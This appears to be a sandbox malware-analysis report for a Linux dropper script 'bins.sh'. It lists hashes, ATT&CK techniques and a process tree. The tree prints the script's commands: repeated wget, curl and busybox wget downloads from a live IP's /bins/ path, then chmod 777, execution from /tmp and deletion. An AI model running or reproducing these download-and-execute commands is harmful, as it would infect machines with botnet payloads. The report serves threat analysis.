bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2

Analysis

max time kernel
16s
max time network
19s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/11/2024, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241104-pnbgtsypes
SHA256 bf5bd1c4f78290af10e282c253d729e71c409db3f6cb8ee635e71f6ab88728c2
MD5 dc698ae540a540b36276c5ff6b31d35b
SHA1 fd817ba94e95b61864aee1dbc7aa81cf161aa654
SHA512 a17aaed2a4446493e7b072550aec27ad06c8a009b6f2f3d25ca262c437997a1523e1d0762d0c0c0332dc96285896b53a3e4a5eab57bf37f7efe407e615fd5e62
SSDEEP 192:Kj1GhxBgsVhJt3mu0nOOMYgTj/7f7v7DU7wv3OSKHHFMYgTjp7f7v7DU7w7OSKHo:Kj1GhxBgsEnOOMYgTj/LjUqsMYgTjpLl
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
784	chmod
792	chmod
671	chmod
683	chmod
706	chmod
732	chmod
747	chmod
771	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj	672	cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
/tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d	685	46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
/tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM	707	ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
/tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk	733	YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
/tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj	748	n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
/tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i	773	QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
/tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw	785	O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
/tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm	793	HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 16 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
672	cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
788	curl
793	HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
794	rm
644	wget
662	curl
787	wget
791	busybox
669	busybox
673	rm

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM	curl
File opened for modification	/tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk	curl
File opened for modification	/tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj	curl
File opened for modification	/tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i	curl
File opened for modification	/tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw	curl
File opened for modification	/tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm	curl
File opened for modification	/tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj	curl
File opened for modification	/tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:638
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:644
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:662
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:669
- /bin/chmod
  chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:672
- /bin/rm
  rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
  2⤵
  - System Network Configuration Discovery
  PID:673
- /usr/bin/wget
  wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:678
- /bin/chmod
  chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:686
- /usr/bin/wget
  wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:688
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:701
- /bin/chmod
  chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:716
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:726
- /bin/chmod
  chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:734
- /usr/bin/wget
  wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:741
- /bin/chmod
  chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:750
- /usr/bin/wget
  wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:766
- /bin/chmod
  chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:776
- /usr/bin/wget
  wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:783
- /bin/chmod
  chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
  2⤵
  PID:786
- /usr/bin/wget
  wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:787
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:791
- /bin/chmod
  chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:793
- /bin/rm
  rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
  2⤵
  - System Network Configuration Discovery
  PID:794
- /usr/bin/wget
  wget http://216.126.231.240/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
  2⤵
  PID:795

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

Path /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

Path /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads